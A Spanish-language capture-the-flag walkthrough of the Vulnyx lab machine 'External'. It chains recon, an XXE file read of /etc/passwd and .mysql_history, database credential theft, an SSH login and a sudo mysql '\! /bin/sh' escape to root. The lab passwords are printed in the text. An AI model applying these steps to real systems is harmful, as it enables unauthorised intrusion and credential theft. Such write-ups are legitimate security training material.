Máquina External (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.54
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.54


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.54 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2280 y 3306.

Comprobamos que es lo que corre por el puerto 80.


Abrimos el inspector del navegador haber si encontramos algo en el código fuente de la pagina.


En un comentario del código fuente encontramos el dominio ext.nyx.

Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


A continuación, realizamos con la herramienta gobuster un fuzzing web por subdominios, para ello ejecutamos el siguiente comando:

$ gobuster vhost -u http://ext.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --append-domain

Encontramos el subdominio administrator.ext.nyx

Lo agregamos también al archivo /etc/hosts, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


Accedemos al subdominio encontrado.


Encontramos un panel de login.

Con la ayuda de la herramienta burpsuite, interceptamos la petición e intentamos iniciar sesión con las credenciales Peseta05:123456.


Vemos que los datos del formulario se envían en formato XML, siendo posible que la pagina web sea vulnerable a XML External Entity (XXE), comprobamos si es vulnerable intentando acceder a algún fichero en local del propio servidor, por lo tanto, nos creamos el siguiente fichero .xml, para ello ejecutamos el siguiente comando:

$ nano xxe.xml


Con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:

$ curl -X POST -d @xxe.xml "http://administrator.ext.nyx/form.php"


Conseguimos leer el fichero /etc/passwd, y encontramos el usuario admin, enumeramos este usuario, para ello editamos el fichero .xml creado anteriormente, para ello ejecutamos el siguiente comando:

$ nano xxe.xml


Volvemos a lanzar con curl una petición al servidor web, para ello ejecutamos el siguiente comando:

$ curl -X POST -d @xxe.xml "http://administrator.ext.nyx/form.php"


Finalmente, conseguimos leer el archivo .mysql_history, vemos que se a modificado la contraseña del usuario de la base de datos, obteniendo así las credenciales root:r00tt00rDB para acceder al servicio mysql (3306).

Nos conectamos al servicio mysql (3306), para ello ejecutamos el siguiente comando:

$ mysql -h 10.0.2.54 -u root -p --skip-ssl


Ingresamos la contraseña obtenida anteriormente.

Enumeramos las bases de datos, para ello ejecutamos el siguiente comando:

MariaDB [(none)]> show databases;


Accedemos a la base de datos admindb, para ello ejecutamos el siguiente comando:

MariaDB [(none)]> use admindb;


Enumeramos las tablas de la base de datos admindb, para ello ejecutamos el siguiente comando:

MariaDB [(admindb)]> show tables;


Accedemos al contenido de la tabla credentials, para ello ejecutamos el siguiente comando:

MariaDB [(admindb)]> select * from credentials


Obtenemos las credenciales admin:4dminDBS3cur3P4ssw0rd123.

A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh admin@10.0.2.54


Ingresamos la contraseña obtenida anteriormente.

¡¡¡Somos admin!!!.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario mysql que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo /usr/bin/mysql -e '\! /bin/sh' -p

Introducimos la contraseña del usuario root de la base de datos.

Investigando en la pagina web de hacktricks, encontramos que, existe también la posibilidad de obtener una shell con el usuario del cliente mysql, una vez nos conectamos al servicio mysql (3306) e ingresando la contraseña obtenida en nuestro caso r00tt00rDB, para ello ejecutamos el siguiente comando:

MariaDB [(none)]>\! /bin/sh

¡¡¡Ya somos root!!!.

Ya podemos leer las flags de user root.